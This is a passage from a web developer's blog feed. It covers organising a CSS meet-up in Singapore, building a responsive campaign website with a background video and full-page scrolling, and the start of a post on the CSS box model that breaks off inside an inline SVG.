&lt;p&gt;As such, if I could build something in pure CSS (even if it was faster to do so using JavaScript), I would. Tabs? Sure. Accordions? No problem. I learnt about sibling and direct-child selectors. The difference between visibility and display: none. All sorts of interesting CSS techniques that I would otherwise have missed out on, had I just did it the JavaScript way. Yes, my JavaScript skills took a hit, but at least my CSS got really good, really fast.&lt;/p&gt;
&lt;p&gt;In comparison to JavaScript, CSS isn&apos;t as popular a topic of discussion, at least amongst the local web development community. I find that HTML and CSS tend to be regarded as &amp;quot;not a programming language&amp;quot;. This lack of respect seems to stem from the fact that they are declarative languages. They tell the computer what to do, as opposed to how to do it. But this topic tends to trigger a lot of debate, so take this as a personal opinion and leave it at that.&lt;/p&gt;
&lt;h2&gt;Lessons learnt from being an organiser&lt;/h2&gt;
&lt;p&gt;You don&apos;t truly appreciate how much effort goes into organising a regular meet-up until you become an organiser yourself. Okay, it&apos;s not an overly complicated affair, but it is a responsibility and a commitment, especially if you plan for the meet-up to be recurring.&lt;/p&gt;
&lt;h3&gt;People don&apos;t notice announcements, they notice consistency&lt;/h3&gt;
&lt;p&gt;The above is a quote from &lt;a href=&quot;http://seanwes.com/&quot;&gt;Sean McCabe&lt;/a&gt;, who puts out &lt;a href=&quot;http://seanwes.com/podcast/&quot;&gt;a really good podcast&lt;/a&gt; on how to make a living doing the things you love. I suggest you listen to &lt;a href=&quot;http://seanwes.com/podcast/066-growing-your-audience-through-the-power-of-consistency/&quot;&gt;episode 66: Growing Your Audience Through the Power of Consistency&lt;/a&gt;. He highlighted that regularity of good content is what builds up an audience. This is something that applies to organising meet-ups as well. But being consistent takes work.&lt;/p&gt;
&lt;p&gt;If the format of your meet-up is like ours, which is a talk-based format, where speakers get a set amount of time to present on a topic of their choice, then the quality of your content is dependent on your speakers. For speakers to come up with good content, they need time to prepare. They can only have time to prepare if they know in advance when the meet-up will take place. You can&apos;t have a meet-up without a venue either, and venues will also need to know in advance the date of your meet-up.&lt;/p&gt;
&lt;p&gt;So the point is, decide on the frequency of your meet-up, then &lt;strong&gt;just pick a day&lt;/strong&gt;. The cool part about the Singapore tech community is that we have very passionate people like &lt;a href=&quot;https://twitter.com/coderkungfu&quot;&gt;Michael Cheng&lt;/a&gt; and &lt;a href=&quot;https://sayan.ee/&quot;&gt;Sayanee Basu&lt;/a&gt; who make it a point to grow this community, through resources like &lt;a href=&quot;https://engineers.sg/&quot;&gt;Engineers.SG&lt;/a&gt; and &lt;a href=&quot;https://github.com/webuildsg/webuild&quot;&gt;webuild.sg&lt;/a&gt;. So we now have a formula if you want to organise your own tech meet-up.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update (@ 29 Feb 2016):&lt;/em&gt;&lt;/strong&gt; Added in a few more points as suggested by &lt;a href=&quot;https://sayan.ee/&quot;&gt;Sayanee&lt;/a&gt;.&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Update (@ 21 Mar 2019):&lt;/em&gt;&lt;/strong&gt; In August 2018, &lt;a href=&quot;http://webuild.sg&quot;&gt;webuild.sg&lt;/a&gt; merged with &lt;a href=&quot;http://Engineers.sg&quot;&gt;Engineers.sg&lt;/a&gt; so this section is now obsolete. Please head over to &lt;a href=&quot;http://Engineers.sg&quot;&gt;Engineers.sg&lt;/a&gt;&apos;s &lt;a href=&quot;https://engineers.sg/events/&quot;&gt;events page&lt;/a&gt; for news on upcoming meetups.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;a href=&quot;https://web.archive.org/web/20180422095346/https://data.webuild.sg/&quot;&gt;https://web.archive.org/web/20180422095346/https://data.webuild.sg/&lt;/a&gt; or &lt;a href=&quot;https://webuildsg.github.io/data/&quot;&gt;https://webuildsg.github.io/data/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Check the relevant date data, like &lt;a href=&quot;https://web.archive.org/web/20180810120142/http://data.webuild.sg/dataset/events-per-day-of-week/&quot;&gt;events by day of week&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20180731134319/https://data.webuild.sg/dataset/events-per-week-of-month/&quot;&gt;events per week of month&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Subscribe to the &lt;a href=&quot;https://engineers.sg/events/&quot;&gt;open events calendar&lt;/a&gt; so you can see the schedule of all upcoming events.&lt;/li&gt;
&lt;li&gt;Based on your findings from step #2 and #3, determine the best day for your own meet-up.&lt;br&gt;
&lt;em&gt;Note: it will be very challenging to find a day that doesn&apos;t clash with another meet-up, so try to not to schedule on the same day as a meet-up which shares the same audience as yours&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;If you already have a venue, great! If not, refer to the list of events by location. Contact the organisers of past meet-ups to ask for venue contacts. (&lt;em&gt;You may have to zoom in the map, Singapore isn&apos;t very big&lt;/em&gt; &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;)&lt;/li&gt;
&lt;li&gt;Check the &lt;a href=&quot;https://web.archive.org/web/20180804091910/https://data.webuild.sg/dataset/events-per-duration/&quot;&gt;event duration&lt;/a&gt; data to help you decide how long your meet-up should be. Ideally, we&apos;d like to have things wrap up within 2 hours so people can hang out &lt;em&gt;AFTER&lt;/em&gt; the meet-up. Tired people tend to go home immediately after the meet-up &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;loudly crying face&quot;&gt;😭&lt;/span&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;More Gardenia than Cactus&lt;/h3&gt;
&lt;p&gt;For people who don&apos;t care for gardening, Gardenia plants have these glossy green leaves and beautiful scented waxy white flowers. They are also very high maintenance, requiring specific growing conditions and lots of tender loving care. Cacti, on the other hand, can put up with quite a lot of neglect before dying on you (Don&apos;t be that guy, take care of your plants!).&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;This be a Gardenia plant&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/organiser/gardenia.jpg&quot;
      srcset=&quot;/images/posts/organiser/gardenia@2x.jpg 2x&quot;
      alt=&quot;Gardenias&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;And this be Cacti&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/organiser/cactus.jpg&quot;
      srcset=&quot;/images/posts/organiser/cactus@2x.jpg 2x&quot;
      alt=&quot;Cacti&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Meet-ups are like Gardenias. In order to have consistency, it&apos;s best to have a backlog of venues lined up for the next two months, just to be safe. Speaking from experience, it&apos;s possible to slap together an event in a couple of days, &lt;strong&gt;BUT&lt;/strong&gt; it&apos;s highly stressful for everyone involved and the odds that you&apos;ll have to postpone your event becomes exponentially higher.&lt;/p&gt;
&lt;p&gt;Start contacting potential hosts as early as you can, so they too can have more time to arrange things. Remember, they are doing you a big favour by offering to host your event. So standard life principles apply: don&apos;t be a dick.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Always be polite and appreciative.&lt;/li&gt;
&lt;li&gt;Nobody owes you any favours so if they can&apos;t host you, say your thanks anyway and move on.&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  Provide the necessary information about your meet-up so it&apos;s easier for them to arrange things.
&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Number of attendees&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Date of event&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Time of event&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Format of event&lt;/li&gt;
  &lt;li&gt;Equipment necessary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Always be prepared to be the swing&lt;/h3&gt;
&lt;p&gt;In theatre, an understudy is the actor who learns all the lines, dances and songs of the lead, and steps in to take over if the lead were to fall ill or be unable to perform for the night. On Broadway, there are special understudies known as &apos;swings&apos;, who knows several different roles and can be called on to step in whenever needed.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This is not the swing you&apos;re looking for&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/organiser/swing.jpeg&quot;
    srcset=&quot;/images/posts/organiser/swing@2x.jpeg 2x&quot;
    alt=&quot;Random swing&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Things may not go according to plan, and your speakers may be sick or unavailable. I like to have at least a couple topics in my back pocket to do an impromptu talk to fill in the extra time, so the attendees aren&apos;t being short-changed. Or have some other contingency plan, like maybe a quiz or a mini-hack session or something.&lt;/p&gt;
&lt;p&gt;The point is, time is the most valuable thing someone can give you. Your attendees could be anywhere else but they chose to spend their time on your event, so be accountable and make sure their time spent with you is time well spent.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;If there&apos;s a technology you&apos;re interested in but can&apos;t find a meet-up for it, why not organise one yourself? The more meet-ups we organise, the more opportunities we have to connect with like-minded people, share our knowledge and learn new things along the way.&lt;/p&gt;
&lt;p&gt;Besides, preparing and giving a talk is actually a great way to gain a better understanding of the technology you&apos;re talking about. More meet-ups means more developers get the chance to speak, which in itself is a pretty valuable experience.&lt;/p&gt;
&lt;h2&gt;Useful links&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://engineers.sg/&quot;&gt;Engineers.SG&lt;/a&gt; - videos of all the tech meet-ups in Singapore&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20190716050141/http://webuild.sg/&quot;&gt;webuild.sg&lt;/a&gt; - curated list of meet-ups and open-source projects in Singapore&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://hackerspace.sg/calendar/&quot;&gt;Hackerspace.SG&lt;/a&gt; - the Singapore hacker community’s home, living room and laboratory&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://kopijs.org/&quot;&gt;KopiJS&lt;/a&gt; - a casual meetup for developers and designers in Singapore&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.meetup.com/Singapore-JS/&quot;&gt;SingaporeJS&lt;/a&gt; - our JavaScript counterpart&lt;/li&gt;
&lt;/ul&gt;
&lt;em&gt;
  &lt;small&gt;
    Credits: OG:image by &lt;a href=&quot;http://blog.naver.com/esjs1020&quot;&gt;Je Hyung Lee&lt;/a&gt;
  &lt;/small&gt;
&lt;/em&gt;</content:encoded></item><item><title>The one where I grok MVC</title><link>https://chenhuijing.com/blog/the-one-where-i-grok-mvc/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-where-i-grok-mvc/</guid><description>Earlier this year, I mentioned that I was starting out with the Kohana framework. Actually, my team uses a heavily modified version of the Kohana framework as…</description><pubDate>Fri, 19 Feb 2016 03:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Earlier this year, I mentioned that I was starting out with the &lt;a href=&quot;https://kohanaframework.org/&quot;&gt;Kohana&lt;/a&gt; framework. Actually, my team uses a heavily modified version of the Kohana framework as a starter for all our projects.&lt;/p&gt;
&lt;p&gt;In addition to the Kohana base architecture, our framework had a bunch of goodies built in, like lazy-loading, a run-time Sass compiler and so on. But I digress. We had been tasked to build the website for Audi&apos;s SG50 Time Machine campaign.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/sg50/sg50-640.jpg&quot;
  srcset=&quot;/images/posts/sg50/sg50-480.jpg 480w, /images/posts/sg50/sg50-640.jpg 640w, /images/posts/sg50/sg50-960.jpg 960w, /images/posts/sg50/sg50-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;A Drive Back in Time&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Building the website&lt;/h2&gt;
&lt;p&gt;The front-facing site itself wasn&apos;t too complicated. And this was the first project I kick-started, i.e. clone the framework, set it up and configure it etc. And hence came the post &lt;a href=&quot;/blog/intro-to-base-framework/&quot;&gt;Introduction to the Base Framework&lt;/a&gt;. It contains my noob explanation of MVC as well as covers how Base Framework (a modified version of &lt;a href=&quot;https://kohanaframework.org/&quot;&gt;Kohana&lt;/a&gt;) is used by front-end developers (me, actually &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;The bulk of the content was on the home page itself, with some sub-pages for additional secondary information. It was going to be a (in my own words) a pseudo-single page website. There would be four sections, the introduction, a map of the event, an accompanying video and a registration form.&lt;/p&gt;
&lt;p&gt;The navigation links would be a combination of anchor links that scrolled down to each respective position, as well as links to the aforementioned sub-pages. Probably not the best design pattern around, but, circumstances.&lt;/p&gt;
&lt;h3&gt;Introduction section&lt;/h3&gt;
&lt;p&gt;Our designers came up with the idea to have the background transform from modern day back to 1965, in line with the &amp;quot;back-in-time&amp;quot; theme. My initial idea was very simple, just two images, with the modern day version superimposed on the 1965 version, and animating the opacity to fade out. If you read my &lt;a href=&quot;/blog/diamond-grid-using-sass/&quot;&gt;post about diamond grids&lt;/a&gt;, you&apos;ll realise that my initial simple ideas don&apos;t fly very well with designers. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Simple is sometimes not good enough. Life.&lt;/figcaption&gt;
  &lt;p
    data-height=&quot;385&quot;
    data-theme-id=&quot;9162&quot;
    data-slug-hash=&quot;vLMyax&quot;
    data-default-tab=&quot;result&quot;
    data-user=&quot;huijing&quot;
    class=&quot;codepen&quot;
  &gt;
    See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/vLMyax/&quot;&gt;Background fade demo&lt;/a&gt; by Chen Hui
    Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
    &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
  &lt;/p&gt;
&lt;/figure&gt;
&lt;p&gt;Turns out the requirement is for the scene to gradually transition back to the past, with different buildings and details fading out one by one. Did I mention the site is supposed to be responsive? After going through the over-engineering thought process of slicing each building and positioning them absolutely, then applying the fade-out effect with animation delays... Okay, it sounds ridiculous now I put it into words. I settled on making it a background video instead.&lt;/p&gt;
&lt;p&gt;So the key now was to optimise the **bleep** out of that video. I used a program called &lt;a href=&quot;https://handbrake.fr/&quot;&gt;Handbrake&lt;/a&gt;, which provides some presets for web-optimisation already. After tweaking the frame-rate and some back-and-forth with the designer in terms of discernible quality issues, I managed to get the file size down to 1.1mb (I know that&apos;s still huge, and it still makes me &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;loudly crying face&quot;&gt;😭&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;One of my favourite web tutorial sites, &lt;a href=&quot;http://thenewcode.com&quot;&gt;thenewcode.com&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/dudleystorey&quot;&gt;Dudley Storey&lt;/a&gt; had an article on &lt;a href=&quot;http://thenewcode.com/777/Create-Fullscreen-HTML5-Page-Background-Video&quot;&gt;full screen background videos&lt;/a&gt;, which I highly suggest you read. In fact, read all you can from that site, immediate skills level-up.&lt;/p&gt;
&lt;h3&gt;Navigation&lt;/h3&gt;
&lt;p&gt;The navigation looks sinisterly simple at first glance, but from a code stand-point, it is anything but straightforward. In fact, it warranted its &lt;a href=&quot;/blog/that-navigation-bar-design/&quot;&gt;own blog post&lt;/a&gt; of more than 2000 words.&lt;/p&gt;
&lt;p&gt;Feel free to skip to that post and experience the trials and tribulations of someone trying to comprehend the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model&quot;&gt;CSS box model&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Simple is not easy.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/sg50/sg50-640.jpg&quot;
    srcset=&quot;/images/posts/sg50/sg50-480.jpg 480w, /images/posts/sg50/sg50-640.jpg 640w, /images/posts/sg50/sg50-960.jpg 960w, /images/posts/sg50/sg50-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Site navigation&quot;
  /&gt;
&lt;/figure&gt;
&lt;h3&gt;Full page scrolling&lt;/h3&gt;
&lt;p&gt;Now I&apos;m pretty opinionated about scroll-jacking. My opinion is &lt;strong&gt;just don&apos;t&lt;/strong&gt;. The design team was pretty adamant about implementing a full page scroll though. My next best option was to provide both a full-page scroll trigger but still allowing users to scroll as per normal. Civility and compromise are the keys to a lasting relationship, people.&lt;/p&gt;
&lt;p&gt;Seriously, IMHO, designers and developers should be best of friends. I didn&apos;t have the time or technical skill to write a full-page scroll plugin on my own so I chose to use &lt;a href=&quot;http://alvarotrigo.com/fullPage/&quot;&gt;fullPage.js&lt;/a&gt; by &lt;a href=&quot;http://alvarotrigo.com/&quot;&gt;Álvaro Trigo&lt;/a&gt;, which had the option of keeping native scroll behaviour in addition to full page scrolling.&lt;/p&gt;
&lt;p&gt;My designer wanted to have some sort of animation on the scroll trigger and tried to give me a GIF file of what she wanted. Me being me, I couldn&apos;t just take the GIF and use it, like a normal person. No no no. I told her I&apos;d make an SVG and animate it, and we wouldn&apos;t have to worry about pixelation! She gave a look like &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with rolling eyes&quot;&gt;🙄&lt;/span&gt; and told me to knock myself out.&lt;/p&gt;
&lt;p&gt;It was a good thing the design was reasonably simple. But I&apos;m barely an intermediate vector wrangler, so creating the vector file itself took a bit longer than I initially expected. After a couple iterations of tweaking timings and keyframes in &lt;a href=&quot;http://codepen.io/huijing/pen/EjOrOe&quot;&gt;Codepen&lt;/a&gt;, I got it to look presentable.&lt;/p&gt;
&lt;p
  data-height=&quot;200&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;EjOrOe&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/EjOrOe/&quot;&gt;Animated scroll-down icon&lt;/a&gt; by Chen
  Hui Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;The scroll icon shouldn&apos;t be displayed when the page scrolled down to the last section, so it needed to be hidden. I could handle that function just fine.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function detectScroll() {
  var scrollPos = $(window).scrollTop() + $(window).height();
  var scrollHeight = $(document).height();
  $(&amp;quot;#fpScroll&amp;quot;).addClass(&amp;quot;transparent&amp;quot;);
  clearTimeout($.data(this, &amp;quot;scrollTimer&amp;quot;));
  if (scrollHeight - scrollPos &amp;gt; 800) {
    $.data(
      this,
      &amp;quot;scrollTimer&amp;quot;,
      setTimeout(function () {
        $(&amp;quot;#fpScroll&amp;quot;).removeClass(&amp;quot;transparent&amp;quot;);
      }, 250)
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fixed background performance&lt;/h3&gt;
&lt;p&gt;The background image was fixed to give some semi-parallax kind of effect. But I remembered reading an article about how that impacted scrolling performance. Turns out the &lt;code&gt;background-attachment: fixed&lt;/code&gt; triggers a paint operation during scrolling, because the browser needs to recalculate the fixed background image&apos;s location relative to the DOM elements around it.&lt;/p&gt;
&lt;p&gt;The solution is to make use of a pseudo-element and the &lt;code&gt;will-change&lt;/code&gt; property to indicate to the browser that my fixed background ought to be rendered in its own layer. I&apos;ve linked the article below and highly recommend you read it.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was definitely not the most technically challenging project I worked on, but as with most agency projects, technical issues are usually not the major pain points. The campaign did win the agency &lt;a href=&quot;http://www.marketing-interactive.com/events/audi-and-publicis-secure-top-spots-at-mob-ex-2016/&quot;&gt;a bunch of awards&lt;/a&gt;, so that&apos;s always good. It&apos;s also good to be constantly reminded that writing good code is only part of what contributes to a project&apos;s success. There are many non-technical factors that play a key role as well.&lt;/p&gt;
&lt;h2&gt;Further reading / resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://thenewcode.com/777/Create-Fullscreen-HTML5-Page-Background-Video&quot;&gt;Create Fullscreen HTML5 Page Background Video&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/dudleystorey&quot;&gt;Dudley Storey&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alvarotrigo.com/fullPage/&quot;&gt;fullPage.js&lt;/a&gt; by &lt;a href=&quot;http://alvarotrigo.com/&quot;&gt;Álvaro Trigo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://fourkitchens.com/blog/article/fix-scrolling-performance-css-will-change-property&quot;&gt;Fix scrolling performance with CSS will-change property&lt;/a&gt; by &lt;a href=&quot;https://chrisruppel.com/&quot;&gt;Chris Ruppel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Understanding the box model by building a navigation bar</title><link>https://chenhuijing.com/blog/that-navigation-bar-design/</link><guid isPermaLink="true">https://chenhuijing.com/blog/that-navigation-bar-design/</guid><description>Working in an agency means that most of the work I do is project-based. This means building a new design every couple of months (or less, if you know what I…</description><pubDate>Fri, 19 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Working in an agency means that most of the work I do is project-based. This means building a new design every couple of months (or less, if you know what I mean). The interesting part is, after a while, I discover each designer&apos;s style and preferences.&lt;/p&gt;
&lt;p&gt;An example would be the navigation UI, I had three consecutive projects where the navigation UI had a similar style. This particular element stood out to me, not only because I&apos;d seen it twice before, but because I found that it touched almost every aspect of the box model.&lt;/p&gt;
&lt;h2&gt;&amp;quot;So the navigation needs to look like this&amp;quot;&lt;/h2&gt;
&lt;p&gt;That&apos;s a phrase most of us hear pretty often. I&apos;ll be honest, the first time I saw this design, I thought to myself, it looks simple enough. No, brain. Wrong conclusion &lt;span class=&quot;kaomoji&quot;&gt;ಠ_ಠ&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Minimalism is in, I suppose&lt;/figcaption&gt;
  &lt;svg width=&quot;370&quot; height=&quot;47&quot; viewBox=&quot;0 0 370 47&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#000&quot; d=&quot;M0 0h370v47H0z&quot;/&gt;&lt;path d=&quot;M22.056 25.512c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064H18.12c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H35.64c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.872 4.8c0 .032-.02.048-.064.048h-1.84c-.032 0-.048-.016-.048-.048v-9.6h-1.008c-.032 0-.048-.02-.048-.064V15.88c0-.043.016-.064.048-.064h2.896c.043 0 .064.02.064.064v11.088zm14.56-.016c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048L60.952 15.8c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064H80.92c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064H80.84c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048H95.56c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048H93c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm12.448 4.816c0 .032-.02.048-.064.048h-5.408c-.02 0-.032-.016-.032-.048v-1.632c0-.064.01-.128.032-.192.075-.117.213-.344.416-.68.203-.336.44-.725.712-1.168.272-.443.555-.907.848-1.392.293-.485.563-.928.808-1.328.245-.4.448-.733.608-1l.24-.4c.02-.02.032-.043.032-.064v-1.824c0-.032-.016-.048-.048-.048H104.6c-.032 0-.048.016-.048.048v2.24h-1.584V17.32c0-.203.037-.395.112-.576.075-.18.176-.34.304-.472.128-.133.28-.24.456-.32.176-.08.37-.12.584-.12H106.248c.427 0 .77.144 1.032.432.26.288.392.635.392 1.04v2.448c0 .053-.01.1-.032.144 0 .01-.083.152-.248.424-.165.272-.373.61-.624 1.016l-.808 1.312-.808 1.32c-.25.41-.46.752-.632 1.024-.17.272-.256.413-.256.424-.02.02-.027.04-.016.056.01.016.027.024.048.024h2.064v-1.744c0-.032.016-.048.048-.048h1.376c.043 0 .064.016.064.048v3.232zm14.304-.032c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048l-.032-11.152c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 